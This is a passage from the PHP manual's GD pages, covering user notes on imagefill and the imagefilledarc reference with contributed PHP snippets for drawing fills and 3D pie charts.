header("Content-Type: image/png");
imagepng ($src622);
imagedestroy($src622);
?>

See another examples at:
http://www.educar.pro.br/a/gdlib/index.php?pn=50&tr=97
Gromitt 06-Mar-2007 07:14
If you need to fill a whole image (immediatly after its creation for instance), consider applying a filled rectangle instead, using imagefilledrectangle() :

<?php

$gdImage = imagecreatetruecolor(100, 100);
$gdColor = imagecolorallocate($gdImage, 255, 0, 0); // red
imagefilledrectangle($gdImage, 0, 0, 99, 99, $gdColor);

?>

which will require much less logic and processing from GD.
razonklnbd at yahoo dot com 24-Sep-2006 12:32
I spend more then two hour to find a function that can fill a pattern or file as background instead of color. but i can't find. so i develop the following function. i though this function will save time who need it...

Function will get four parameter
1. Main Image Identifier
2. Pattern Image Identifier
3. Final Image Width
4. Final Image Height

If you set final image width or height is less then main image width or height then you may get wrong result

<?php

function fill_with_patternfile($p_main_im, $p_patternfile_im, $p_width, $p_height){
    $pimiX=$p_patternfile_im;
    $pw=imagesx($pimiX);
    $ph=imagesy($pimiX);
    $targetImageIdentifier=imagecreatetruecolor($p_width,$p_height);
    if($pw<$p_width && $ph<$p_height){
        for($pX=0;$pX<$p_width;$pX+=$pw){
            for($pY=0;$pY<$p_height;$pY+=$ph){
                imagecopy($targetImageIdentifier,$pimiX,$pX,$pY,0,0,$pw,$ph);
            }
        }
    }else imagecopy($targetImageIdentifier,$pimiX,0,0,0,0,$pw,$ph);
    $w=imagesx($p_main_im);
    $h=imagesy($p_main_im);
    $nX=0;
    if($w<$p_width) $nX=intval(($p_width-$w)/2);
    $nY=0;
    if($h<$p_height) $nY=intval(($p_height-$h)/2);
    imagecopy($targetImageIdentifier,$p_main_im,$nX,$nY,0,0,$w,$h);
    return $targetImageIdentifier;
}
//    If you want to use a gif or png file as
//    pattern file you need to change function below :)
$pattern_im=imagecreatefromjpeg('logo.jpg');
//    If you want to use a gif or png file as
//    main file you need to change function below :)
$main_im=imagecreatefromjpeg('r2.jpg');
//    call the function width 500 and height 500
//    if your width and height is less then main images
//    width and height then you can't understand any change!
$final=fill_with_patternfile($main_im, $pattern_im, 500, 500);
//    view the image and destroy all instance
header('Content-type: image/jpeg');
imagejpeg($final);
imagedestroy($final);
imagedestroy($main_im);
imagedestroy($pattern_im);
exit();

?>
jonathan dot aquino at gmail dot com 09-Jun-2006 12:12
Use imageSaveAlpha($image, true); to preserve transparency.
gelak 30-Nov-2005 08:27
//A smiley face ;]

<?php

header('Content-type: image/png');

$smile=imagecreate(400,400);
$kek=imagecolorallocate($smile,0,0,255);
$feher=imagecolorallocate($smile,255,255,255);
$sarga=imagecolorallocate($smile,255,255,0);
$fekete=imagecolorallocate($smile,0,0,0);
imagefill($smile,0,0,$kek);

imagearc($smile,200,200,300,300,0,360,$fekete);
imagearc($smile,200,225,200,150,0,180,$fekete);
imagearc($smile,200,225,200,123,0,180,$fekete);
imagearc($smile,150,150,20,20,0,360,$fekete);
imagearc($smile,250,150,20,20,0,360,$fekete);
imagefill($smile,200,200,$sarga);
imagefill($smile,200,290,$fekete);
imagefill($smile,155,155,$fekete);
imagefill($smile,255,155,$fekete);
imagepng($smile);

?>
pisu at estmail dot hu 29-Nov-2005 10:48
chess board
<?php

$kep = imagecreate(400,400);
$fekete = imagecolorallocate($kep,0,0,0);
$feher = imagecolorallocate($kep,255,255,255);

//imagefill($kep,50,50,$fekete);
imagefill($kep,50,20,$feher);

for ($i=1;$i<8;$i++)  {
  $k = $i*50;
  imageline($kep,0,$k,400,$k,$fekete);
  imageline($kep,$k,0,$k,400,$fekete);
  }

for ($i=0;$i<8;$i++)  {
  for ($j=0;$j<8;$j++)  {
    $x = $i*50 + 2;
        $y = $j*50 + 2;
    if (  ( ($i % 2) + ($j % 2) )  % 2 == 0 )  {
          imagefill($kep,$x,$y,$fekete);
          }

    }
  }

// imagecolortransparent($kek,$piros);

header('content-type : image/png');
imagepng($kep);

?>
colin at galaxyinteractive dot net 29-Jul-2005 05:26
Didn't see this documented, although it's outlined in imagefilledrectangle, it wasn't quite so obvious to me at first

imageSetTile($image,$imageBack);
imagefill($image,0,0,IMG_COLOR_TILED);

Will fill an image with a texture (this is great as I'm building a logo/template creator)
Igor Garcia 29-Jun-2003 12:18
This function, cannot deal with transparencies.
So you need to use imagecolorallocate instead of imagecolorallocatealpha.
Thus, be careful with color variables that allready set with imageallocatecoloralpha because this can slow-down or hang-up your system.
norxh 05-Jun-2003 05:36
For new images, you must allocate a color before this function will work.
08-Feb-2003 02:49
Actually, it can handle pre-transparent images. To remove it you need to do something like:
   imagecolortransparent($img, 0);
to null out the previous transparency colors. ;)
aqmprod at iname dot com 09-Jan-2000 02:08
This function does not seem to work with images already been transparent. If you fill at x=0, y=0, and there are still transparent parts that you did
not reach with your fill, they change to a different color.

The ImageColorSet function seems to be the solution, but i can't work with transparancy.


Draw a partial arc and fill it

  • « imagefill
  • imagefilledellipse »
  • PHP Manual
  • GD and Image Functions
  • Draw a partial arc and fill it

imagefilledarc

(PHP 4 >= 4.0.6, PHP 5)

imagefilledarc — Draw a partial arc and fill it

Description

bool imagefilledarc ( resource $image , int $cx , int $cy , int $width , int $height , int $start , int $end , int $color , int $style )

Draws a partial arc centered at the specified coordinate in the given image.

Parameters

image

An image resource, returned by one of the image creation functions, such as imagecreatetruecolor().

cx

x-coordinate of the center.

cy

y-coordinate of the center.

width

The arc width.

height

The arc height.

start

The arc start angle, in degrees.

end

The arc end angle, in degrees. 0° is located at the three-o'clock position, and the arc is drawn clockwise.

color

A color identifier created with imagecolorallocate().

style

A bitwise OR of the following possibilities:

  1. IMG_ARC_PIE
  2. IMG_ARC_CHORD
  3. IMG_ARC_NOFILL
  4. IMG_ARC_EDGED
IMG_ARC_PIE and IMG_ARC_CHORD are mutually exclusive; IMG_ARC_CHORD just connects the starting and ending angles with a straight line, while IMG_ARC_PIE produces a rounded edge. IMG_ARC_NOFILL indicates that the arc or chord should be outlined, not filled. IMG_ARC_EDGED, used together with IMG_ARC_NOFILL, indicates that the beginning and ending angles should be connected to the center - this is a good way to outline (rather than fill) a 'pie slice'.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Creating a 3D looking pie

<?php

// create image
$image = imagecreatetruecolor(100, 100);

// allocate some colors
$white    = imagecolorallocate($image, 0xFF, 0xFF, 0xFF);
$gray     = imagecolorallocate($image, 0xC0, 0xC0, 0xC0);
$darkgray = imagecolorallocate($image, 0x90, 0x90, 0x90);
$navy     = imagecolorallocate($image, 0x00, 0x00, 0x80);
$darknavy = imagecolorallocate($image, 0x00, 0x00, 0x50);
$red      = imagecolorallocate($image, 0xFF, 0x00, 0x00);
$darkred  = imagecolorallocate($image, 0x90, 0x00, 0x00);

// make the 3D effect
for ($i = 60; $i > 50; $i--) {
   imagefilledarc($image, 50, $i, 100, 50, 0, 45, $darknavy, IMG_ARC_PIE);
   imagefilledarc($image, 50, $i, 100, 50, 45, 75 , $darkgray, IMG_ARC_PIE);
   imagefilledarc($image, 50, $i, 100, 50, 75, 360 , $darkred, IMG_ARC_PIE);
}

imagefilledarc($image, 50, 50, 100, 50, 0, 45, $navy, IMG_ARC_PIE);
imagefilledarc($image, 50, 50, 100, 50, 45, 75 , $gray, IMG_ARC_PIE);
imagefilledarc($image, 50, 50, 100, 50, 75, 360 , $red, IMG_ARC_PIE);

// flush image
header('Content-type: image/png');
imagepng($image);
imagedestroy($image);
?>

The above example will output something similar to:

Output of example : Creating a 3D looking pie

Notes

Note: This function requires GD 2.0.1 or later (2.0.28 or later is recommended).

User Contributed Notes

floripondia dot 88 at hotmail dot com 23-Nov-2013 01:28
If you want to make a pie graph with exploded slices and data shows on each one and data side right too you can use this snippet.
<?php
$values = array("2010" => 1950, "2011" => 750, "2012" => 2100, "2013" => 580, "2014" => 5000);
$total = count($values);
$data = ($total == 0) ? array(360) : array_values($values);
$keys = ($total == 0) ? array("") : array_keys($values);
$radius = 30;
$imgx = 1800 + $radius;
$imgy = 600 + $radius;
$cx = 400 + $radius;
$cy = 200 + $radius;
$sx = 800;
$sy = 400;
$sz = 150;
$data_sum = array_sum($data);
$angle_sum = array(-1 => 0, 360);
$typo = "./helvetica.ttf";
$im = imagecreate($imgx, $imgy);
imagecolorallocate($im, 255, 255, 255);
$color = array(
    array(220, 20, 60),
    array(77, 33, 114),
    array(249, 141, 53),
    array(158, 37, 59),
    array(1, 128, 128),
    array(28, 94, 160),
    //array(206, 16, 118),
    array(43, 67, 86),
    //array(155, 108, 166),
    array(83, 69, 62)
);
shuffle($color);
shuffle($color);
shuffle($color);
$colors = array(imagecolorallocate($im, $color[0][0], $color[0][1], $color[0][2]));
$colord = array(imagecolorallocate($im, ($color[0][0] / 1.5), ($color[0][1] / 1.5), ($color[0][2] / 1.5)));
$factorx = array();
$factory = array();
for($i = 0; $i < $total; $i++){
    $angle[$i] = (($data[$i] / $data_sum) * 360);
    $angle_sum[$i] = array_sum($angle);
    $colors[$i] = imagecolorallocate($im, $color[$i][0], $color[$i][1], $color[$i][2]);
    $colord[$i] = imagecolorallocate($im, ($color[$i][0] / 1.5), ($color[$i][1] / 1.5), ($color[$i][2] / 1.5));
    $factorx[$i] = cos(deg2rad(($angle_sum[$i - 1] + $angle_sum[$i]) / 2));
    $factory[$i] = sin(deg2rad(($angle_sum[$i - 1] + $angle_sum[$i]) / 2));
}
for($z = 1; $z <= $sz; $z++){
    for($i = 0; $i < $total; $i++){
        imagefilledarc($im, $cx + ($factorx[$i] * $radius), (($cy + $sz) - $z) + ($factory[$i] * $radius), $sx, $sy, $angle_sum[$i - 1], $angle_sum[$i], $colord[$i], IMG_ARC_PIE);
    }
}
for($i = 0; $i < $total; $i++){
    imagefilledarc($im, $cx + ($factorx[$i] * $radius), $cy + ($factory[$i] * $radius), $sx, $sy, $angle_sum[$i - 1], $angle_sum[$i], $colors[$i], IMG_ARC_PIE);
    imagefilledrectangle($im, 900, 50 + ($i * 50 * 2), 950, 100 + ($i * 50 * 2), $colors[$i]);
    imagettftext($im, 50, 0, 970, 100 + ($i * 50 * 2), imagecolorallocate($im, 0, 0, 0), $typo, $keys[$i]);
    imagettftext($im, 40, 0, $cx + ($factorx[$i] * ($sx / 4)) - 40, $cy + ($factory[$i] * ($sy / 4)) + 10, imagecolorallocate($im, 0, 0, 0), $typo, $data[$i]);
}
header('Content-type: image/png');
imagepng($im);
imagedestroy($im);
?>
splogamurugan at gmail dot com 09-Feb-2011 11:53
A simple pie chart generation script.
Displays the percentage at center arc and displays the Legends with random colors.

<?php
class simplepie
{
    function __construct($width, $height, $dataArr)
    {
        $font = './verdana.ttf'; /** get it from c:/windows/fonts dir */
        $this->image = imagecreate($width,$height);
        $piewidth = $width * 0.70;/* pie area */
        $x = round($piewidth/2);
        $y = round($height/2);
        $total = array_sum($dataArr);
        $angle_start = 0;
        $ylegend = 2;
        imagefilledrectangle($this->image, 0, 0, $width, $piewidth, imagecolorallocate($this->image, 128, 128, 128));
        foreach($dataArr as $label=>$value) {
            $angle_done    = ($value/$total) * 360; /** angle calculated for 360 degrees */
            $perc          = round(($value/$total) * 100, 1); /** percentage calculated */
            $color         = imagecolorallocate($this->image, rand(0, 255), rand(0, 255), rand(0, 255));
            imagefilledarc($this->image, $x, $y, $piewidth, $height, $angle_start, $angle_done+= $angle_start, $color, IMG_ARC_PIE);
            $xtext = $x + (cos(deg2rad(($angle_start+$angle_done)/2))*($piewidth/4));
            $ytext = $y + (sin(deg2rad(($angle_start+$angle_done)/2))*($height/4));
            imagettftext($this->image, 6, 0, $xtext, $ytext, imagecolorallocate($this->image, 0, 0, 0), $font, "$perc %");
            imagefilledrectangle($this->image, $piewidth+2, $ylegend, $piewidth+20, $ylegend+=20, $color);
            imagettftext($this->image, 8, 0, $piewidth+22, $ylegend, imagecolorallocate($this->image, 0, 0, 0), $font, $label);
            $ylegend += 4;
            $angle_start = $angle_done;
        }
    }
    function render()
    {
        header('Content-type: image/png');
        imagepng($this->image);
    }
}
/** usage */
$dataArr = array(2001=>10, 2002=>30, 2003=>50, 2004=>10);
$width=600;
$height=480;
$pie = new simplepie($width, $height, $dataArr);
$pie->render();
?>
Christopher Kramer 17-Sep-2009 01:25
If this function is not available because you're using an old gdlib version, here is a workaround if you want to draw a pie chart:

<?php

// width and height of the image
$width=200;
$height=200;

$simulate_old_gd=true; // do not use imagefilledarc although available?

// the pieces of the pie (in degree)
$pieces=array(180,90,45,25,15,5);

$diagram=imagecreate($width,$height);

// background color
$white=imagecolorallocate($diagram, 255, 255, 255);
imagefilledrectangle($diagram,0,0,$width,$height,$white);

// the circle is 2px smaller than the image
$width-=2;
$height-=2;

// we need a border color
$black=imagecolorallocate($diagram, 0, 0, 0);

// draw the border of the pie
imagearc($diagram, round($width/2), round($height/2),
         $width, $height, 0, 360, $black);

// position (in degrees) where to place the next piece
$position=270;
// we will use calculated gray colors for simple example
$gray=0;

foreach($pieces as $deg)
 {
 // calculate the gray color
 $gray+=30;
 if($gray>255) $gray=0;
 $color=imagecolorallocate($diagram,$gray,$gray,$gray);

 // position must be kept < 360
 if($position>360) $position-=360;

 if(!$simulate_old_gd && is_callable('imagefilledarc'))
  {
  imagefilledarc($diagram, round($width/2),
  round($height/2), $width, $height, $position,
  $position+$deg, $color,IMG_ARC_EDGED);
  }
 else
  {
  // we use some maths to calculate the pixel on the circle
  $pix_x=round(floor(($width-2)/2)*cos($position/180*M_PI)
         +round($width/2));
  $pix_y=round(floor(($height-2)/2)*sin($position/180*M_PI)
         +round($height/2));
  // now we  draw a line from the mid of the circle to the
  // calculated pixel on the circle
  imageline($diagram, round($width/2), round($height/2),
            $pix_x, $pix_y, $black);
  // now we need a pixel for flood filling.
  //- We could use maths to calculate a pixel inside the
  // piece:
  //$fill_x=round(floor(($width-10)/2)*
  //        cos(($position+2)/180*M_PI)+round($width/2));
  //$fill_y=round(floor(($height-10)/2)*
  //        sin(($position+2)/180*M_PI)+round($height/2));
  //- or we could use an universal pixel with less maths ;)
  // (top mid):
  $fill_x=floor($width/2)-2;
  $fill_y=3;
  // now we flood fill the circle
  @imagefilltoborder ($diagram,$fill_x,$fill_y,$black,$color);
  /* (it does not matter here that we fill more than we need
      because the next pieces will fix this)
     IF YOU ONLY WANT ONE PIECE
     (simulate imagefilledarc) you'd have to draw
     both border lines and flood fill afterwards */
  }
 // the position of the next piece is $deg degrees further
 $position+=$deg;
 }

// output the image
header('Content-type: image/png');
imagepng($diagram);
imagedestroy($digram);
?>
mateusz dot charytoniuk at gmail dot com 26-Feb-2009 06:31
The code below uses colors from "hans at lintoo dot dk"'s note. It delivers pie charts with labels:

<?php
$bright_list = array(
    array(255, 203, 3),
    array(220, 101, 29),
    array(189, 24, 51),
    array(214, 0, 127),
    array(98, 1, 96),
    array(0, 62, 136),
    array(0, 102, 179),
    array(0, 145, 195),
    array(0, 115, 106),
    array(178, 210, 52),
    array(137, 91, 74),
    array(82, 56, 47)
);
$dark_list = array(
    array(205, 153, 0),
    array(170, 51, 0),
    array(139, 0, 1),
    array(164, 0, 77),
    array(48, 0, 46),
    array(0, 12, 86),
    array(0, 52, 129),
    array(0, 95, 145),
    array(0, 65, 56),
    array(128, 160, 2),
    array(87, 41, 24),
    array(32, 6, 0)
);

$data = array();
$angle = array();
$title = array();
$i = 0;
foreach( $_GET as $key => $value ) {
    $data[$i] = intval($value);
    $title[$i++] = str_replace("_"," ",strval($key));
}
$sum = array_sum($data);
if( $sum == 0 ) {
    ++ $sum;
}
$count = count($data);
for( $i = 0; $i < $count; ++ $i ) {
    $angle[$i] = floor($data[$i]/$sum*360);
    if( $angle[$i] == 0 ) {
        ++ $angle[$i];
    }
}
$sum_angle = array_sum($angle);
if( $sum_angle < 360 ) {
    $angle[0]+=360-$sum_angle;
}

$height = $count*34;
if( $height < 180 ) {
    $height = 180;
}

$im  = imagecreate (350, $height);
$background = imagecolorallocate($im, 226, 226, 226);
$border = imagecolorallocate($im,97,97,97);
$font_color = imagecolorallocate($im,0,0,0);
$font = 'yourfont.ttf';

$bright = array();
foreach( $bright_list as $c ) {
    $bright[] = imagecolorallocate($im,$c[0],$c[1],$c[2]);
}

$dark = array();
foreach( $dark_list as $c ) {
    $dark[] = imagecolorallocate($im,$c[0],$c[1],$c[2]);
}
$tmp = 0;
for( $i =0; $i < $count; ++ $i ) {
    for( $j = 100; $j > 90; -- $j ) {
        imagefilledarc($im, 100, $j, 180, 120, $tmp, $tmp+$angle[$i], $dark[$i], IMG_ARC_PIE);
    }
    $tmp += $angle[$i];
}

$tmp = 0;
for( $i =0; $i < $count; ++ $i ) {
    imagefilledarc($im, 100, 90, 180, 120, $tmp, $tmp+$angle[$i], $bright[$i], IMG_ARC_PIE);
    $tmp += $angle[$i];
}
for( $i = 0; $i < $count; ++ $i ) {
    imagefilledrectangle($im, 209, 19+($i*30), 231, 41+($i*30), $border);
    imagefilledrectangle($im, 210, 20+($i*30), 230, 40+($i*30), $bright[$i]);
    imagefttext($im, 11, 0, 240, 34+($i*30), $font_color, $font, $title[$i]);
}
header('Content-type: image/png');
imagepng($im);
imagedestroy($im);
?>

try 'pie.php?foo=3&bar=4&baz=6'
Mike 14-Aug-2007 09:43
The previous example does not work well.  This is much better and faster:

<?php
$Randomized = rand(1,20);
for($i=0;$i<=$Randomized;$i++){$data[$i]=rand(2,20);};//full array with garbage.
$imgx='600';$imgy='400';//Set Image Size. ImageX,ImageY
$cx = '300';$cy ='150'; //Set Pie Postition. CenterX,CenterY
$sx = '600';$sy='300';$sz ='100';// Set Size-dimensions. SizeX,SizeY,SizeZ

$data_sum = array_sum($data);
//convert to angles.
for($i=0;$i<=$Randomized;$i++){
   $angle[$i] = (($data[$i] / $data_sum) * 360);
   $angle_sum[$i] = array_sum($angle);
};
$im  = imagecreate ($imgx,$imgy);
$background = imagecolorallocate($im, 255, 255, 255);
//Random colors.
for($i=0;$i<=$Randomized;$i++){
   $r=rand(100,255);$g=rand(100,255);$b=rand(100,255);
   $colors[$i] = imagecolorallocate($im,$r,$g,$b);
   $colord[$i] = imagecolorallocate($im,($r/1.5),($g/1.5),($b/1.5));
}
//3D effect.
for($z=1;$z<=$sz;$z++){
        // first slice
    imagefilledarc($im,$cx,($cy+$sz)-$z,$sx,$sy,0
    ,$angle_sum[0],$colord[0],IMG_ARC_EDGED);
   for($i=1;$i<=$Randomized;$i++){
        imagefilledarc($im,$cx,($cy+$sz)-$z,$sx,$sy,$angle_sum[$i-1]
        ,$angle_sum[$i],$colord[$i],IMG_ARC_NOFILL);
   };
};
//Top pie.
   // first slice
   imagefilledarc($im,$cx,$cy,$sx,$sy,0 ,$angle_sum[0], $colors[0], IMG_ARC_PIE);
for($i=1;$i<=$Randomized;$i++){
   imagefilledarc($im,$cx,$cy,$sx,$sy,$angle_sum[$i-1] ,$angle_sum[$i], $colors[$i], IMG_ARC_PIE);
};
//Output.
header('Content-type: image/png');
imagepng($im);
imagedestroy($im);
?>
imazir at gmail dot com 31-Jan-2006 11:53
The previous example does not work. Try those modifications and you will have the expected results :

<?
$Randomized = rand(1,20);
for($i=0;$i<=$Randomized;$i++){$data[$i]=rand(2,20);};//full array with garbage.
$imgx='200';$imgy='200';//Set Image Size. ImageX,ImageY
$cx = '100';$cy ='50'; //Set Pie Postition. CenterX,CenterY
$sx = '200';$sy='100';$sz ='20';// Set Size-dimensions. SizeX,SizeY,SizeZ

$data_sum = array_sum($data);
//convert to angles.
for($i=0;$i<=$Randomized;$i++){
   $angle[$i] = (($data[$i] / $data_sum) * 360);
   $angle_sum[$i] = array_sum($angle);
};
$im  = imagecreate ($imgx,$imgy);
$background = imagecolorallocate($im, 255, 255, 255);
//Random colors.
for($i=0;$i<=$Randomized;$i++){
   $r=rand(100,255);$g=rand(100,255);$b=rand(100,255);
   $colors[$i] = imagecolorallocate($im,$r,$g,$b);
   $colord[$i] = imagecolorallocate($im,($r/2),($g/2),($b/2));
}
//3D effect.
for($z=1;$z<=$sz;$z++){
   for($i=1;$i<=$Randomized;$i++){
imagefilledarc($im,$cx,($cy+$sz)-$z,$sx,$sy,$angle_sum[$i-1]
,$angle_sum[$i],$colord[$i],IMG_ARC_PIE);
   };
};
//Top pie.
for($i=1;$i<=$Randomized;$i++){
   imagefilledarc($im,$cx,$cy,$sx,$sy,$angle_sum[$i-1] ,$angle_sum[$i], $colors[$i], IMG_ARC_PIE);
};
//Output.
header('Content-type: image/png');
imagepng($im);
imagedestroy($im);
?>
paulcharltonthomson at hotmail dot com 02-Jul-2005 08:00
Here's a slightly better way to get the colours for the pie chart shaded wall as posted by double-zonk at wp dot pl

<?php

$rgb0 = array (255, 153, 204);
$rgb1 = array (255, 153, 0);
$rgb2 = array (153, 204, 0);
$rgb3 = array (51, 153, 102);
$rgb4 = array (51, 204, 204);
$rgb5 = array (51, 102, 255);
$rgb6 = array (128, 0, 128);
$rgb7 = array (150, 150, 150);

for ($r = 0; $r < 8; ++$r)
    {
        if(${"rgb" . $r}[0] < 50) $shadowr = 0; else $shadowr = ${"rgb" . $r}[0] - 50;
        if(${"rgb" . $r}[1] < 50) $shadowg = 0; else $shadowg = ${"rgb" . $r}[1] - 50;
        if(${"rgb" . $r}[2] < 50) $shadowb = 0; else $shadowb = ${"rgb" . $r}[2] - 50;
        ${"wall" . $r} = array ($shadowr, $shadowg, $shadowb);
    }

for ($s = 0; $s < 8; ++$s)
    {
        $kolor[$s] = imagecolorallocate($image, ${"rgb" . $s}[0], ${"rgb" . $s}[1], ${"rgb" . $s}[2]);
        $cien[$s] = imagecolorallocate($image, ${"wall" . $s}[0], ${"wall" . $s}[1], ${"wall" . $s}[2]);
    }

?>
t_therkelsen at hotmail dot com 08-Mar-2005 10:21
Note that imageFilledArc() and imageArc() both take ints as degree measurements.  This is no problem if you're *only* using imageArc() and/or imageFilledArc().  However, if you're using calculated degrees and plan to superimpose other drawing elements (eg., you want to make vertical lines between the shadow 3D effect) you need to floor() your degrees before converting them to radians, otherwise you'll get precision errors.

A small example illustrating the 'feature'...

<?php
$img = imageCreate(400, 400);
$back = imageColorAllocate($img, 0, 0, 0);
$front = imageColorAllocate($img, 255, 255, 255);

$sd = 45.5;
$ed = 130.5;

imageFilledArc($img, 200, 200, 300, 300, $sd, $ed,
               $front, IMG_ARC_PIE|IMG_ARC_NOFILL|IMG_ARC_EDGED);
imageArc($img, 200, 230, 300, 300, $sd, $ed, $front);

imageLine($img,
          cos(deg2rad($sd))*150+200, sin(deg2rad($sd))*150+200,
          cos(deg2rad($sd))*150+200, sin(deg2rad($sd))*150+230,
          $front);
imageLine($img,
          cos(deg2rad($ed))*150+200, sin(deg2rad($ed))*150+200,
          cos(deg2rad($ed))*150+200, sin(deg2rad($ed))*150+230,
          $front);

header('Content-type: image/png');
imagepng($img);
imagedestroy($img);
?>

And this is how it should be...

<?php
$img = imageCreate(400, 400);
$back = imageColorAllocate($img, 0, 0, 0);
$front = imageColorAllocate($img, 255, 255, 255);

$sd = floor(45.5);
$ed = floor(130.5);

imageFilledArc($img, 200, 200, 300, 300, $sd, $ed,
               $front, IMG_ARC_PIE|IMG_ARC_NOFILL|IMG_ARC_EDGED);
imageArc($img, 200, 230, 300, 300, $sd, $ed, $front);

imageLine($img,
          cos(deg2rad($sd))*150+200, sin(deg2rad($sd))*150+200,
          cos(deg2rad($sd))*150+200, sin(deg2rad($sd))*150+230,
          $front);
imageLine($img,
          cos(deg2rad($ed))*150+200, sin(deg2rad($ed))*150+200,
          cos(deg2rad($ed))*150+200, sin(deg2rad($ed))*150+230,
          $front);

header('Content-type: image/png');
imagepng($img);
imagedestroy($img);
?>
rich at dicksonlife dot com 24-Sep-2004 04:22
Even more efficiency:

The original code snippet and the following suggestions are inefficient in that they rely on the overlying php to fill vertically using loops rather than taking advantage of the underlying drawing routines. Also, this is done by repeatedly drawing filled partial elipses and circular calculations are typically expensive (PHP may use tables, I'm not sure) The original code could be rewritten as

<?php
// Add the bottom layer.
  imagefilledarc($image, 50, 60, 100, 50, 0, 45, $darknavy, IMG_ARC_PIE);
  imagefilledarc($image, 50, 60, 100, 50, 45, 75 , $darkgray, IMG_ARC_PIE);
  imagefilledarc($image, 50, 60, 100, 50, 75, 360 , $darkred, IMG_ARC_PIE);

//Now do the joining pieces.
//Note: Precompute cosines and sines for efficiency
  $c1=50*cos(45/180*M_PI);
  $s1=25*sin(45/180*M_PI);
  $c2=50*cos(75/180*M_PI);
  $s2=25*sin(75/180*M_PI);

  $area1=array(100,60,100,50,50+$c1,50+$s1,50+$c1,60+$s1);
  $area2=array(50+$c1,50+$s1,50+$c1,60+$s1,50+$c2,60+$s2,50+$c2,50+$s2);
//Note that piece 3 goes round the corner. So we are only interested in the leftmost extent. You would need to do this programatically. Also, you do not need to make vertical parts for any segments completely at the back of the pie (in fact, not filledarcs either)
  $area3=array(50+$c2,50+$s2,50+$c2,60+$s2,0,60,0,50);

  imagefilledpolygon($image, $area1 , 4 , $darknavy);
  imagefilledpolygon($image, $area2 , 4 , $darkgray);
  imagefilledpolygon($image, $area3 , 4 , $darkred);

  imagefilledarc($image, 50, 50, 100, 50, 0, 45, $navy, IMG_ARC_PIE);
  imagefilledarc($image, 50, 50, 100, 50, 45, 75 , $gray, IMG_ARC_PIE);
  imagefilledarc($image, 50, 50, 100, 50, 75, 360 , $red, IMG_ARC_PIE);
?>

Note that the polygons are perhaps slightly inefficient. If there was an imagefilledtriangle, this code would be simpler. Given how fundamental triangles are, perhaps for a future version?

Rich
micha _a.t_ psytrance _d.o.t_ info 09-Sep-2004 04:09
for nice colors and adapted shadows from amount of values i try:

<?php
function _errechne_gradzahlen( $werte ) {         /* calc degrees */
    foreach( $werte as $wert ) { $sum += $wert; }
    foreach( $werte as $wert ) { $gradzahlen[] = 360 * ( $wert / $sum ); }
    return $gradzahlen;
}

function _randomcol ( $im ) {
    return imagecolorallocate( $im, rand(100, 224), rand(100, 224), rand(128, 224) );
}

$values = array( 100, 200, 50, 100, 43, 32 );    /* the data to display ( real values ) */
$werte = _errechne_gradzahlen( $values );        /* degrees-array */
$width = 200;
$height = 200;
$half_width = floor( $width / 2 );
$half_height = floor($height / 2);

$im = ImageCreateTrueColor( $width, $height );

foreach( $werte as $key => $wert ) {
    /* get colors and shadows */
    $color = _randomcol( $im );
    $shadow = $color - 20000;                 // or brighter shadows take 10000
    $colors[] = $color;
    $shadows[] = $shadow;
/* 3D effekt */
     for ($i = ($half_height + 10); $i > $half_height; $i--) {
        imagefilledarc(
                    $im,
                    $half_width,  $i,
                    $width, $half_height,
                    $offset, ($offset + $wert),   // from, to (degrees)
                    $shadows[$key], IMG_ARC_NOFILL);
    }
    $offset = $offset + $wert;
}
$offset = 0;

foreach( $werte as $key => $wert ) {             /* an now draw the top */
    imagefilledarc(
                $im,
                $half_width, $half_width,
                $width, $half_height,           // half sized
                $offset, ($offset + $wert),
                $colors[$key], IMG_ARC_PIE);
    $offset = $offset + $wert;
}
header( "Content-type: image/png" );
imagepng ( $im );
imagedestroy( $im );
?>

sry for my crab english and the disordered code, i cut and 'translate' it from a class i wrote before.
poopie 06-Aug-2004 06:08
The examples given so far for drawing a 3D looking pie chart are extremely inefficient and can give a huge performance hit to scripts that draw a lot of pies and in particular those that do offline processing on disk, rather than send a single pie chart to the browser (either way this modification saves you a lot of CPU cycles).

Modify the portion of the code that creates the 3D effect to only draw the outline (with IMG_ARC_NOFILL) of the pie layers below the top filled pie:

// make the 3D effect (modified for the original example)
for ($i = 60; $i >= 50; $i--) {
   imagefilledarc($image, 50, $i, 100, 50, 0, 45, $darknavy, IMG_ARC_NOFILL);
  imagefilledarc($image, 50, $i, 100, 50, 45, 75 , $darkgray, IMG_ARC_NOFILL);
  imagefilledarc($image, 50, $i, 100, 50, 75, 360 , $darkred, IMG_ARC_NOFILL);
}

Note the >= on the for loop, which fills in a gap that is created without the =
hans at lintoo dot dk 17-Jul-2004 09:14
I found some bugs in my script.. and therefore I am posting the fixes:
Bugs:
<?php
$drakcolor[2] = imagecolorallocate($im, 139, 0, 1);
//Should be
$darkcolor[2] = imagecolorallocate($im, 139, 0, 1);
?>

And then if you modify the code a little and, then make a image 200x125 then you won't be wasting space.
Changes:
<?php
$im  = imagecreate (200, 125);
// AND
for ($i = 60; $i > 50; $i--) {
    imagefilledarc($im, 100, $i, 200, 100, $anglesum[$f], $anglesum[$n], $darkcolor[$f], IMG_ARC_PIE);
}
// AND
       imagefilledarc($im, 100, 50, 200, 100, $anglesum[$n], $anglesum[$i], $randcolor[$n], IMG_ARC_PIE);
?>
you can see a online demo at: http://webstatistik.lintoo.dk/
hans at lintoo dot dk 17-Jul-2004 12:27
I modificed the code to make a 3d pie from data collected elsewhere.... in this case it was for a statistics page...

when testing you can use:

enjoy

<?php
//Making a image 200 x 200
$im  = imagecreate (200, 200);

//Setting background color
$background = imagecolorallocate($im, 226, 226, 226);

//Setting colors of elements
$randcolor[0] = imagecolorallocate($im, 255, 203, 3);
$randcolor[1] = imagecolorallocate($im, 220, 101, 29);
$randcolor[2] = imagecolorallocate($im, 189, 24, 51);
$randcolor[3] = imagecolorallocate($im, 214, 0, 127);
$randcolor[4] = imagecolorallocate($im, 98, 1, 96);
$randcolor[5] = imagecolorallocate($im, 0, 62, 136);
$randcolor[6] = imagecolorallocate($im, 0, 102, 179);
$randcolor[7] = imagecolorallocate($im, 0, 145, 195);
$randcolor[8] = imagecolorallocate($im, 0, 115, 106);
$randcolor[9] = imagecolorallocate($im, 178, 210, 52);
$randcolor[10] = imagecolorallocate($im, 137, 91, 74);
$randcolor[11] = imagecolorallocate($im, 82, 56, 47);

//Setting the darker alt color to the main color
$darkcolor[0] = imagecolorallocate($im, 205, 153, 0);
$darkcolor[1] = imagecolorallocate($im, 170, 51, 0);
$drakcolor[2] = imagecolorallocate($im, 139, 0, 1);
